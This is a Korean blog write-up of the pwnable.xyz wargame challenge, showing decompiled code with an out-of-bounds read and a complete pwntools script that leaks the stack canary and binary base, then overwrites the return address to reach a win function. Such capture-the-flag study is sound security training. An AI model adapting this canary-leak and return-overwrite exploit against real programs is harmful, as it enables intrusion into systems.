pool[0] = 0;
pool[1] = 1;
pool[2] = 2;
pool[3] = 3;
pool[4] = 4;
pool[5] = 5;
pool[6] = 6;
pool[7] = 7;
pool[8] = 8;
pool[9] = 9;
input = getchar();
getchar();
return (unsigned __int8)pool[input - 48];
|
get_choice에서 OOB read로 canary 값과 코드 주소 값을 모두 읽을 수 있다.
canary를 leak 한 뒤에는 ret에 win 주소를 써서 플래그를 가져오면 된다.
1
2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 |
from pwn import *
import argparse parser = argparse.ArgumentParser() parser.add_argument('-r', '--remote', action='store_true', help='connect to remote server') args = parser.parse_args() if args.remote : p = connect('svc.pwnable.xyz', 30017) else : p = process('./challenge') def log_info(string) : sys.stderr.write((u'\u001b[37;1m[\u001b[32m+\u001b[37;1m]\u001b[0m ' + string + '\n').encode()) def log_error(string) : sys.stderr.write((u'\u001b[37;1m[\u001b[31m-\u001b[37;1m]\u001b[0m ' + string + '\n').encode()) def Edit(message:bytes) : p.writelineafter(b'> ', b'1') p.writelineafter(b': ', message) def InvalidMenu(menu:int) : p.writelineafter(b'> ', bytes([menu])) p.readuntil(b': ') return int(p.readuntil(b' is')[:-3]) def exploit() : p.writelineafter(b': ', b'A') canary = 0 leak = 0 for i in range(7) : b = InvalidMenu(59+i) canary |= b << 8*(i+1) log_info('canary = '+hex(canary)) for i in range(6) : b = InvalidMenu(74+i) leak |= b << 8*i binary_base = leak -0xB30 win = binary_base + 0xAAC log_info('binary base address: '+hex(binary_base)) log_info('win = '+hex(win)) payload = b'A'*0x28 payload += p64(canary) payload += b'A'*0x8 payload += p64(win+4) if 0x0A in payload or 0x20 in payload : log_error('Termination character found, unable to exploit') p.close() exit() Edit(payload) p.writelineafter(b'> ', b'0') p.interactive() if __name__ == '__main__' : exploit() |
Last update: 4/8/2020
'Wargame > pwnable.xyz' 카테고리의 다른 글
pwnable.xyz / rwsr (0) | 2020.01.20 |
---|---|
pwnable.xyz / fclose (0) | 2020.01.18 |
pwnable.xyz / UAF (0) | 2020.01.17 |
pwnable.xyz / iape (0) | 2020.01.16 |
pwnable.xyz / strcat (0) | 2020.01.16 |